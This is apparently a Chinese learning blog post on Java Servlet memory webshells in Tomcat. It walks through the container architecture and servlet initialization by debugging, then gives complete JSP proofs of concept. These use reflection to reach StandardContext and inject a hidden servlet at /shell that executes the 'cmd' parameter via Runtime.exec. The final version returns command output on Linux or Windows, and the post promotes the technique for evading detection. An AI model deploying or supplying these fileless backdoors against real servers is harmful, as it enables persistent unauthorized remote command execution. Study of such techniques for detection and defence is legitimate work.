01 扯点没用的
前面学了一阵子Java,但始终没有接触到Javasec里面一个很核心的内容——内存马,如果要给Webshell分个等级的话,JavaWeb内存马一定是最值得深究且作用最广泛的。
其实本应该在上上个周就开始学习这部分的内容的,但是一直断断续续的有惰性加上周末打了一个比赛,后面在跟bao师傅唠嗑的时候聊到了后面就业方向的问题,毋庸置疑的是,Java仍然是现阶段国内最热门的语言,Java的代码审计也是我认为相对来说可见性比较高的方向。后面我想着需要练习一下代码审计的能力,就想着先去审一下框架源码,但是头几天没找到一个可行的方向,现在索性就先学Java内存马,然后再从里面挖掘源码一步步来了
参考文章:
https://nosec.org/home/detail/5049.html
https://xz.aliyun.com/news/18301
https://github.com/W01fh4cker/LearnJavaMemshellFromZero
https://xz.aliyun.com/news/13078
https://su18.org/post/memory-shell/
02 关于内存马
什么是内存马?
其实内存马的话之前在学python内存马的时候也了解过不少了,但这里还是想扯皮一下
在传统的Webshell的使用与不断迭代的防御机制的斗争中,无论我们如何花费心思去隐藏,如何变幻,都无法在目标系统长时间的保留。
目前主流的防御措施针对 Webshell 的静态检出率在 90% 以上,在部分环境下甚至完全无法落地,防御方可以做到快速应急响应。正因为这些限制,内存马技术得以诞生并快速发展,无文件攻击、内存 Webshell、进程注入等基于内存的攻击手段也受到了越来越多的师傅青睐,那什么是内存马呢?
内存马(Memory Shellcode)是一种恶意攻击技术,旨在通过利用程序或操作系统的漏洞,将恶意代码注入到系统内存中运行。与传统的攻击方式不同,内存马不需要将恶意代码写入磁盘上的文件,而是直接在运行时内存中进行操作,从而避开传统的安全防护措施。
内存马的分类
根据内存马的实现技术,su18师傅对内存马进行了大致的分类

其实大致的话是可以分为以下几大类:
- 传统web型内存马(Filter、servlet、Listener动态注册)
- Spring框架型内存马
- 中间件型内存马
- 其他内存马(Websocket/Tomcat Jsp/线程型/RMI)
- Agent型内存马
内存马的用处
内存马的用因主要在于以下几个方面
- 由于网络原因不能反弹 shell 的;
- 内部主机通过反向代理暴露 Web 端口的;
- 服务器上有防篡改、目录监控等防御措施,禁止文件写入的;
- 服务器上有其他监控手段,写马后会告警监控,人工响应的;
- 服务使用 Springboot 等框架,无法解析传统 Webshell 的;
但是从以上的介绍也可以发现,内存马的使用是转瞬即逝的,也就是说,只要服务重启后就会失效,不过通常情况下服务频繁重启的可能性是不大的,再加上内存马的隐蔽性,使得内存马依旧成为攻击者首选的Webshell维持方式
关于内存马的注入方式,会在后面的内容中逐一添加,并且会在最后的时候进行一定的自我总结
简单的介绍完了,就开始正式学习吧
03.1 前置知识
环境:jdk1.8.0_321 + Tomcat9.0.108
tomcat下载链接:https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.108/bin/apache-tomcat-9.0.108-windows-x64.zip
下载后在/bin目录下找到startup.bat运行然后访问8080端口就可以了

Tomcat中Servlet容器
翻到一个对Servlet解释比较好的文章:https://juejin.cn/post/6994810991997354014
参考文章:https://blog.csdn.net/caqjeryy/article/details/122095308
Servlet是Java Servlet的简称,是使用Java语言编写的运行在服务器端的程序。它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
请求处理过程:
- Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。
- Servlet容器调用HttpServlet的init()方法,init方法只在第一次请求的时候被调用。
- Servlet容器调用service()方法。
- service()方法根据请求类型,这里是get类型,分别调用doGet或者doPost方法。
- 容器关闭时候,会调用destory方法
什么是Tomcat?
Tomcat是一种Web应用服务器,同时也是Servlet容器,简单来说Tomcat就是servlet的运行环境,servlet必须运行在像Tomcat这种servlet容器上
Tomcat 设计了 4 种容器,分别是 Engine、Host、Context 和 Wrapper。文章的师傅对这四个容器的概念进行了一个图形化的解释

这 4 种容器不是相互独立的关系,而是父子关系,逐层包含。也正是因为这种分层架构设计,使得Servlet容器具有良好的兼容性和灵活性
一个Service最多只能有一个Engine,Engine表示引擎,用来管理多个虚拟主机的。Host代表就是一个虚拟主机,可以给Tomcat配置多个虚拟主机,一个虚拟主机下面可以部署多个Web应用。一个Context就表示一个Web应用,Web应用中会有多个Servlet,Wrapper就表示一个Servlet。
在Tomcat的server.xml配置文件中,就体现了这样的设计
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 
 | <?xml version="1.0" encoding="UTF-8"?>
 
 <Server port="8005" shutdown="SHUTDOWN">
 
 
 <Service name="Catalina">
 
 
 <Connector port="8080" protocol="HTTP/1.1"
 connectionTimeout="20000"
 redirectPort="8443"
 maxParameterCount="1000" />
 
 
 <Engine name="Catalina" defaultHost="localhost">
 
 
 <Realm className="org.apache.catalina.realm.LockOutRealm">
 <Realm className="org.apache.catalina.realm.UserDatabaseRealm"
 resourceName="UserDatabase"/>
 </Realm>
 
 
 <Host name="localhost" appBase="webapps"
 unpackWARs="true" autoDeploy="true">
 
 
 <Valve className="org.apache.catalina.valves.AccessLogValve"
 directory="logs"
 prefix="localhost_access_log"
 suffix=".txt"
 pattern="%h %l %u %t "%r" %s %b" />
 
 </Host>
 </Engine>
 </Service>
 </Server>
 
 | 
既然Tomcat设计了那么多个容器,在那么多个容器组合使用的时候,设想这样一个场景:我们此时要访问https://manage.xxx.com:8080/user/list,那`tomcat`是怎么确定请求到达的是那个Wrapper容器中的Servlet来处理的?为此`tomcat`设计了`Mapper`,其中保存了**容器组件与访问路径的映射关系**。

当我们发送请求时,一共会经过四个步骤
- 根据协议和端口号选定- Service和- Engine。
 - 我们知道- Tomcat的每个连接器都监听不同的端口,比如- Tomcat默认的- HTTP连接器监听- 8080端口、默认的- AJP连接器监听- 8009端口。上面例子中的URL访问的是- 8080端口,因此这个请求会被- HTTP连接器接收,而一个连接器是属于一个- Service组件的,这样- Service组件就确定了。我们还知道一个- Service组件里除了有多个连接器,还有一个容器组件,具体来说就是一个- Engine容器,因此- Service确定了也就意味着- Engine也确定了。
 
- 根据域名选定- Host。
 - Service和- Engine确定后,- Mapper组件通过- url中的域名去查找相应的- Host容器,比如例子中的- url访问的域名是- manage.xxx.com,因此- Mapper会找到- Host1这个容器。
 
- 根据- url路径找到- Context组件。
 - Host确定以后,- Mapper根据- url的路径来匹配相应的- Web应用的路径,比如例子中访问的是- /user,因此找到了- Context1这个- Context容器。
 
- 根据- url路径找到- Wrapper(- Servlet)。
 - Context确定后,- Mapper再根据- web.xml中配置的- Servlet映射路径来找到具体的- Wrapper和- Servlet,例如这里的- Wrapper1的- /list。
 
编写一个Servlet实操
新建一个maven项目

创建好后目录是这样的

导入servlet-api依赖,修改pom.xml配置如下
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 
 | <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
 <modelVersion>4.0.0</modelVersion>
 <groupId>org.example</groupId>
 <artifactId>TestServlet</artifactId>
 <packaging>war</packaging>
 <version>1.0-SNAPSHOT</version>
 <name>TestServlet Maven Webapp</name>
 <url>http://maven.apache.org</url>
 <dependencies>
 <dependency>
 <groupId>junit</groupId>
 <artifactId>junit</artifactId>
 <version>3.8.1</version>
 <scope>test</scope>
 </dependency>
 <dependency>
 <groupId>javax.servlet</groupId>
 <artifactId>javax.servlet-api</artifactId>
 <version>4.0.1</version>
 <scope>provided</scope>
 </dependency>
 </dependencies>
 <build>
 <finalName>TestServlet</finalName>
 </build>
 </project>
 
 
 | 
然后写一个测试servlet的代码TestServlet.java
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | package org.example;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 
 
 public class TestServlet extends HttpServlet {
 @Override
 protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
 resp.getWriter().write("Hello World");
 }
 }
 
 | 
解释一下代码
- @WebServlet("/test")👉 表示这个 Servlet 访问路径是 **- http://服务器地址:端口/项目名/test**。
- extends HttpServlet👉 继承自- HttpServlet,必须重写- doGet/- doPost等方法才能处理请求。
- doGet👉 当浏览器发起 GET 请求(比如直接访问 URL)时,会执行这个方法。
- HttpServletRequest req👉 封装了请求的内容,比如- req.getParameter("name")可以获取 URL 参数。
- HttpServletResponse resp👉 用于向客户端返回数据。
- resp.getWriter().write("Hello World");👉 向响应体里写入- "Hello World"。浏览器最终看到的就是这段文本。
然后我们配置一下tomcat环境,先添加一个运行配置

然后点击右下角的修复去添加工件

添加后部署到tomcat服务器中,然后我们设置一下web模块和我们刚刚的工件绑定到一起
随后我们配置一下web.xml
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
 version="4.0">
 
 <servlet>
 <servlet-name>TestServlet</servlet-name>
 <servlet-class>org.example.TestServlet</servlet-class>
 </servlet>
 <servlet-mapping>
 <servlet-name>TestServlet</servlet-name>
 <url-pattern>/test</url-pattern>
 </servlet-mapping>
 </web-app>
 
 | 
配置好后我们运行并访问/testServlet/test

从代码层面看Servlet的生命周期
在Servlet规范中,servlet的生命周期包括初始化阶段、运行阶段、销毁阶段
Servlet 生命周期中 init 和 destroy 方法只会在 Servlet 实例创建和销毁时被调用一次,而 service 方法则会在每个请求到达时被调用一次。
找到一个比较规范的图

参考文章:https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Servlet%E5%9E%8B/
实际上在Tomcat7之后的版本,StandardContext中就提供了动态注册Servlet的方法,但是并没有实现

所以我们需要自己去实现动态添加servlet的功能,但是我们先来了解一下servlet的生命周期
我们这里不采用我们下载的tomcat来运行我们的项目,我们使用嵌入式tomcat也就是所谓的tomcat-embed-core。
我们把刚刚的pom.xml改一下
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 
 | <?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
 <modelVersion>4.0.0</modelVersion>
 
 <groupId>org.example</groupId>
 <artifactId>ServletMemoryShell</artifactId>
 <version>1.0-SNAPSHOT</version>
 
 <properties>
 <maven.compiler.source>8</maven.compiler.source>
 <maven.compiler.target>8</maven.compiler.target>
 <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
 </properties>
 <dependencies>
 <dependency>
 <groupId>org.apache.tomcat.embed</groupId>
 <artifactId>tomcat-embed-core</artifactId>
 <version>9.0.108</version>
 <scope>compile</scope>
 </dependency>
 <dependency>
 <groupId>org.apache.tomcat.embed</groupId>
 <artifactId>tomcat-embed-jasper</artifactId>
 <version>9.0.108</version>
 <scope>compile</scope>
 </dependency>
 </dependencies>
 
 </project>
 
 | 
然后准备两个java文件
一个用来启动Tomcat服务器,但是版本不一样的源码也不一样,具体参考https://blog.csdn.net/qq_42944840/article/details/116349603
Main.java
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | package org.example;
 import org.apache.catalina.Context;
 import org.apache.catalina.LifecycleException;
 import org.apache.catalina.startup.Tomcat;
 import java.io.File;
 
 public class Main {
 public static void main(String[] args) throws LifecycleException {
 Tomcat tomcat = new Tomcat();
 tomcat.getConnector();
 Context context = tomcat.addWebapp("", new File("").getAbsolutePath());
 Tomcat.addServlet(context, "TestServlet", new TestServlet());
 context.addServletMappingDecoded("/test", "TestServlet");
 tomcat.start();
 tomcat.getServer().await();
 }
 }
 
 
 | 
TestServlet.java
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | package org.example;
 import javax.servlet.ServletException;
 import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 import java.io.PrintWriter;
 
 
 
 public class TestServlet extends HttpServlet {
 protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
 response.setContentType("text/html");
 PrintWriter out = response.getWriter();
 out.println("<html><body>");
 out.println("Hello, World!");
 out.println("</body></html>");
 }
 }
 
 | 
访问http://localhost:8080/test就能看到输出了
Servlet初始化流程分析
首先在org.apache.catalina.core.StandardWrapper#setServletClass()处下断点调试

追踪一下这个函数的上层调用位,但是一开始找不到,maven连接一直超时,jar包都下不来
不行啊实在太麻烦了,给一个个找的话太复杂了换个版本
Tomcat 9.0.83
上层调用位置位于org.apache.catalina.startup.ContextConfig#configureContext

不难看到这个函数其实就是接收我们的web.xml文件内容并进行处理的函数,然后我们分析一下这段代码都干了什么

for循环开始先是利用webxml.getServlet()获取到所有的Servlet定义,然后createWrapper去创建一个Wrapper对象,之后利用setter和getter的方式去设置wrapper中servlet相关的属性,这里的话一个关键的属性就是load-on-startup属性,他会告诉tomcat是否在启动时立即加载并初始化该 Servlet。另外会获取到servlet的名称等等这些基础属性

继续获取到servlet的完全限定类名,之后初始化这些参数添加到wrapper中,这些参数在初始化的时候会传递给servlet的init()初始化方法
最后通过context.addChild(wrapper);将配置好的Wrapper添加到Context中,完成Servlet的初始化过程。
上面大的for循环中嵌套的最后一个for循环则负责处理Servlet的url映射,调用StandardContext.addServletMappingDecoded()添加servlet对应的映射,将Servlet的url与Servlet名称关联起来。
总的来说,Servlet的初始化主要经过了以下
- Wrapper wrapper = context.createWrapper();创建 Wapper 对象
- wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());设置的LoadOnStartUp 的值
- wrapper.setName(servlet.getServletName());设置 Servlet 的 Name
- wrapper.setServletClass(servlet.getServletClass());设置 Servlet 对应的 Class全限定类名
- context.addChild(wrapper);将 Servlet 添加到 context 的 children 中
- context.addServletMappingDecoded(entry.getKey(), entry.getValue());将 url 路径和 servlet 类做映射
Servlet装载流程分析
在org.apache.catalina.core.StandardWrapper#loadServlet这里打下断点进行调试,重点关注org.apache.catalina.core.StandardContext#startInternal

可以看到是在加载完Listener和Filter之后,才装载Servlet

所以在servlet容器启动之后会依次处理Listener->Filer->Servlet
在最后的if中调用了一个loadOnstartup()方法,并调用findChildren()从StandardContext中拿到所有的child传入该方法中,我们跟进这个方法看看

根据注释的话其实也很明白了,可以看到,这段代码先是创建一个TreeMap,然后遍历传入的Container数组,将每个Servlet的loadOnStartup值作为键,将对应的Wrapper对象存储在相应的列表中;如果这个loadOnStartup值是负数,除非你请求访问它,否则就不会加载;如果是非负数,那么就按照这个loadOnStartup的升序的顺序来加载。

然后就是遍历Servlet数组并调用load()去加载了
其实从这里的话我们可以更进一步的了解到load-on-startup属性的作用,其实简单来说就是定义是否在服务器启动的时候就加载这个servlet,并且这个属性的内容需要是一个整数,这样的话就可以明确servlet被加载的前后顺序,其实tomcat就相当于采用一种懒加载的机制,当该属性没被设置时,只有发送请求(servlet被调用的时候才会加载到context中)。
回到我们最初的目的,既然我们需要动态注册servlet,然后可以联想到python内存马中的一个after_request和before_request钩子函数的使用,那么这里就同样需要设置一个load-on-startup属性
关于context的获取(漏掉啦)
但是上面漏了讲一个点,就是关于context的获取,我们用传统的Tomcat去调试来看一下
修改pom.xml如下
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 
 | <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
 <modelVersion>4.0.0</modelVersion>
 <groupId>org.example</groupId>
 <artifactId>TestServlet</artifactId>
 <packaging>war</packaging>
 <version>1.0-SNAPSHOT</version>
 <name>TestServlet Maven Webapp</name>
 <url>http://maven.apache.org</url>
 <dependencies>
 <dependency>
 <groupId>junit</groupId>
 <artifactId>junit</artifactId>
 <version>3.8.1</version>
 <scope>test</scope>
 </dependency>
 <dependency>
 <groupId>javax.servlet</groupId>
 <artifactId>javax.servlet-api</artifactId>
 <version>4.0.1</version>
 <scope>provided</scope>
 </dependency>
 <dependency>
 <groupId>org.apache.tomcat</groupId>
 <artifactId>tomcat-catalina</artifactId>
 <version>9.0.108</version>
 </dependency>
 </dependencies>
 <build>
 <finalName>TestServlet</finalName>
 </build>
 </project>
 
 
 | 
记得下载一下源代码,不然不好找
在org.apache.catalina.startup.ContextConfig#configureContext()中

在底下可以看到,这里的话通过传入的webxml分析拿到的servlets和servletMapping
我们在刚刚的for循环那里打个断点

这里的话会遍历所有的servlets的值,然后createWrapper()创建一个wrapper对象,我们走一遍循环看一下
例如第一个servlet是default

经过setName后会在wrapper对象中设置一个name属性为default

经过setServletClass后会设置一个servletClass属性的值为org.apache.catalina.servlets.DefaultServlet
最后通过addChild将该对象添加到context中
然后我们来看一下如何将url 路径和 servlet 类做映射的

这里的话会遍历webxml中ServletMapping的键值

参照地下的数组和上面的entry的值可以知道,key就是*.jspx,而value就是jsp,之后会分别getKey获取key和getValue获取值并传到addServletMappingDecoded方法中调用并返回给context
到这就是大致的思路,然后就是关于context的来源了

从this.context中可以看到这个context实际上就是StandardContext,那我们如何获取到StandardContext呢?
| 1
 | HttpServletRequest.getServletContext.context.context
 | 
我们可以先调试一下,在TestServlet中的doGet方法打个断点

点击debug后弹出网页,我们访问TestServlet类映射的路由/test

然后我们调用req.getServletContext(),回车在结果中看到一个context

这里可以看到有一个ApplicationContext,展开这个context后在里面找到一个context

很惊喜的发现这个context的值就是刚刚我们调试的时候的context值,所以这个context就是我们需要获取到的context值
基于这些原理,我们就可以写出一个内存马的具体实现
03.2 Servlet内存马实现
什么是Servlet内存马?
Servlet内存马是通过动态注册servlet来实现的一种内存攻击手段。在Java Web应用中,Servlet作为处理客户端请求的核心组件之一,能够直接处理http请求并返回响应。攻击者利用该特点,通过程序化地向Web容器例如Tomcat在运行时注册恶意的Servlet对象,使得该servlet能够在没用实际文件存在的情况下执行恶意程序。
https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Servlet%E5%9E%8B/#%E5%86%85%E5%AD%98%E9%A9%AC%E5%AE%9E%E7%8E%B0%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90
Servlet内存马的条件和注入方式1
从 Servlet 3.0 规范开始 (对应 Tomcat 7.0 及以上版本),Java Web 才正式支持通过 ServletContext 对象动态地、以编程方式注册新的 Servlet、Filter 和 Listener。
从上面的分析来看,实现内存马的步骤主要就是以下几个部分:
- 找到StandardContext
- 继承并编写一个恶意servlet
- 创建Wapper对象
- 设置Servlet的LoadOnStartUp的值
- 设置Servlet的Name
- 设置Servlet对应的Class
- 将Servlet添加到context的children中
- 将url路径和servlet类做映射
内存马POC编写
由浅入深我们先熟悉一下动态注册Servlet的过程
例如我们尝试写了一个恶意的jsp文件
第一步就是获取到StandardContext,这一步我们可以通过反射去实现
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | <%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.ApplicationContext" %>
 <%@ page import="org.apache.catalina.core.StandardContext" %>
 <%@ page contentType="text/html;charset=UTF-8" language="java" %>
 <%
 
 ServletContext servletContext = request.getServletContext();
 Field appctx = servletContext.getClass().getDeclaredField("context");
 appctx.setAccessible(true);
 ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 Field stdctx = applicationContext.getClass().getDeclaredField("context");
 stdctx.setAccessible(true);
 StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 %>
 
 | 
不过这里的话还有一种可以获取到StandardContext的方法
同样的,在doGet打个断点然后访问/test

在底下可以看到一个request字段表示一个Request对象,然后我们传入((RequestFacade) req).request.getContext()表达式

成功找到这个context,由此可得
| 12
 3
 4
 5
 
 | Field reqF = request.getClass().getDeclaredField("request");
 reqF.setAccessible(true);
 Request req = (Request) reqF.get(request);
 StandardContext standardContext = (StandardContext) req.getContext();
 
 | 
第二步就是编写一个恶意servlet
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 
 | class S implements Servlet{@Override
 public void init(ServletConfig config) throws ServletException {
 
 }
 @Override
 public ServletConfig getServletConfig(){
 return null;
 }
 
 @Override
 public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
 String cmd = req.getParameter("cmd");
 if(cmd != null){
 try {
 Runtime.getRuntime().exec(cmd);
 } catch (IOException e){
 e.printStackTrace();
 }
 }
 }
 
 @Override
 public void destroy(){
 
 }
 @Override
 public String getServletInfo(){
 return null;
 }
 }
 
 | 
这时候就有人要问了,哎?为啥要写那几个额外的方法
我们跟进Servlet接口看看

可以看到这里这个接口需要实现这些方法的具体实现,而类实现接口的话就必须要实现接口所有方法(除非的抽象类),那这几个方法的作用和原理分别是什么呢?
| 方法 | 作用 | 
| init(ServletConfig config) | 初始化方法。在 Servlet 第一次被加载时调用,用来做初始化工作,比如读取配置参数、建立数据库连接等。 | 
| getServletConfig() | 返回 Servlet 的配置信息( ServletConfig对象),通常在init中保存该对象,方便后续使用。 | 
| service(ServletRequest req, ServletResponse res) | 核心方法。处理每一个客户端请求。Servlet 容器每次接收到请求都会调用它。通常会在这里根据请求类型调用 doGet、doPost等方法。 | 
| getServletInfo() | 返回 Servlet 的一些描述信息(比如版本、作者等),通常用于管理工具或文档,不是必须业务逻辑。 | 
| destroy() | 在 Servlet 被卸载或服务器关闭前调用,用于释放资源,比如关闭数据库连接、清理缓存等。 | 
第三步就是要包装一下这个servlet,为了方便看,我把servlet初始化的流程搬过来
- Wrapper wrapper = context.createWrapper();创建 Wapper 对象
- wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());设置的LoadOnStartUp 的值
- wrapper.setName(servlet.getServletName());设置 Servlet 的 Name
- wrapper.setServletClass(servlet.getServletClass());设置 Servlet 对应的 Class全限定类名
- context.addChild(wrapper);将 Servlet 添加到 context 的 children 中
- context.addServletMappingDecoded(entry.getKey(), entry.getValue());将 url 路径和 servlet 类做映射
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | S servlet = new S();String name = servlet.getClass().getSimpleName();
 Wrapper newwrapper = standardContext.createWrapper();
 newwrapper.setName(name);
 newwrapper.setLoadOnStartup(1);
 newwrapper.setServlet(servlet);
 newwrapper.setServletClass(servlet.getClass().getName());
 standardContext.addChild(newwrapper);
 standardContext.addServletMappingDecoded("/shell",name);
 
 | 
所以最后的完整poc就是
03.3完整POC1
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 
 | <%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.ApplicationContext" %>
 <%@ page import="org.apache.catalina.core.StandardContext" %>
 <%@ page import="java.io.IOException" %>
 <%@ page import="org.apache.catalina.Wrapper" %>
 <%--<%@ page import="org.apache.catalina.connector.Request" %>--%>
 <%@ page contentType="text/html;charset=UTF-8" language="java" %>
 <%
 class S implements Servlet{
 @Override
 public void init(ServletConfig config) throws ServletException {
 
 }
 @Override
 public ServletConfig getServletConfig(){
 return null;
 }
 
 @Override
 public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
 String cmd = req.getParameter("cmd");
 if(cmd != null){
 try {
 Runtime.getRuntime().exec(cmd);
 } catch (IOException e){
 }
 }
 }
 
 @Override
 public void destroy(){
 
 }
 @Override
 public String getServletInfo(){
 return null;
 }
 }
 %>
 <%
 
 ServletContext servletContext = request.getServletContext();
 Field appctx = servletContext.getClass().getDeclaredField("context");
 appctx.setAccessible(true);
 ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 Field stdctx = applicationContext.getClass().getDeclaredField("context");
 stdctx.setAccessible(true);
 StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
 
 
 
 
 
 
 S servlet = new S();
 String name = servlet.getClass().getSimpleName();
 Wrapper newwrapper = standardContext.createWrapper();
 newwrapper.setName(name);
 newwrapper.setLoadOnStartup(1);
 newwrapper.setServlet(servlet);
 newwrapper.setServletClass(servlet.getClass().getName());
 standardContext.addChild(newwrapper);
 standardContext.addServletMappingDecoded("/shell",name);
 
 out.println("inject success");
 %>
 
 | 
写完后启动服务器并访问这个jsp文件

然后访问我们刚刚的路由并RCE

成功弹出计算器,成功啦!
但是这个poc其实还不够全面,一方面是runtime的exec函数只会返回一个proccess对象而不会返回命令执行回显内容,我们改进一下
04好用的POC
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 
 | <%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.ApplicationContext" %>
 <%@ page import="org.apache.catalina.core.StandardContext" %>
 <%@ page import="java.io.IOException" %>
 <%@ page import="org.apache.catalina.Wrapper" %>
 <%@ page import="java.io.InputStream" %>
 <%@ page import="java.util.Scanner" %>
 <%@ page import="java.io.PrintWriter" %>
 <%--<%@ page import="org.apache.catalina.connector.Request" %>--%>
 <%@ page contentType="text/html;charset=UTF-8" language="java" %>
 <%
 Servlet servlet = new Servlet() {
 @Override
 public void init(ServletConfig servletConfig) throws ServletException {
 
 }
 
 @Override
 public ServletConfig getServletConfig() {
 return null;
 }
 
 @Override
 public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
 String cmd = servletRequest.getParameter("cmd");
 boolean isLinux = true;
 String osTyp = System.getProperty("os.name");
 if (osTyp != null && osTyp.toLowerCase().contains("win")) {
 isLinux = false;
 }
 String[] cmdArray = isLinux ? new String[]{"sh","-c",cmd} : new String[]{"cmd.exe","/c",cmd};
 
 InputStream in = Runtime.getRuntime().exec(cmdArray).getInputStream();
 Scanner s = new Scanner(in).useDelimiter("\\a");
 String output = s.hasNext() ? s.next() : "";
 PrintWriter out = servletResponse.getWriter();
 out.println(output);
 out.flush();
 out.close();
 
 }
 
 @Override
 public String getServletInfo() {
 return "";
 }
 
 @Override
 public void destroy() {
 
 }
 }
 %>
 <%
 
 ServletContext servletContext = request.getServletContext();
 Field appctx = servletContext.getClass().getDeclaredField("context");
 appctx.setAccessible(true);
 ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 Field stdctx = applicationContext.getClass().getDeclaredField("context");
 stdctx.setAccessible(true);
 StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
 
 
 
 
 
 
 String name = servlet.getClass().getSimpleName();
 Wrapper newwrapper = standardContext.createWrapper();
 newwrapper.setName(name);
 newwrapper.setLoadOnStartup(1);
 newwrapper.setServlet(servlet);
 newwrapper.setServletClass(servlet.getClass().getName());
 standardContext.addChild(newwrapper);
 standardContext.addServletMappingDecoded("/shell",name);
 
 out.println("inject success");
 %>
 
 | 
这里的话多了一个对操作系统的判断,根据Linux或者Windows操作系统去选择各自的shell,之后对命令的输出进行了一个获取和打印操作

完美撒花,小结一下
第一个java的内存马就学完了,但其实后面会根据不同的waf去进行调整,例如无回显,打请求头注入,或者长度限制之类的,但其实收获还是很大的,因为自己遇到了一个做题的问题就是拿到源码后有点无从下手,我归结为是对这些源码的结构不够明确,对代码审计能力还需要提升,所以希望自己再继续努力吧
关于servlet内存马,我觉得最重要的就是需要审计代码然后找到对应的context,也就是standardcontext,之后的话就是根据源码的实现去调用对应的函数去进行操作了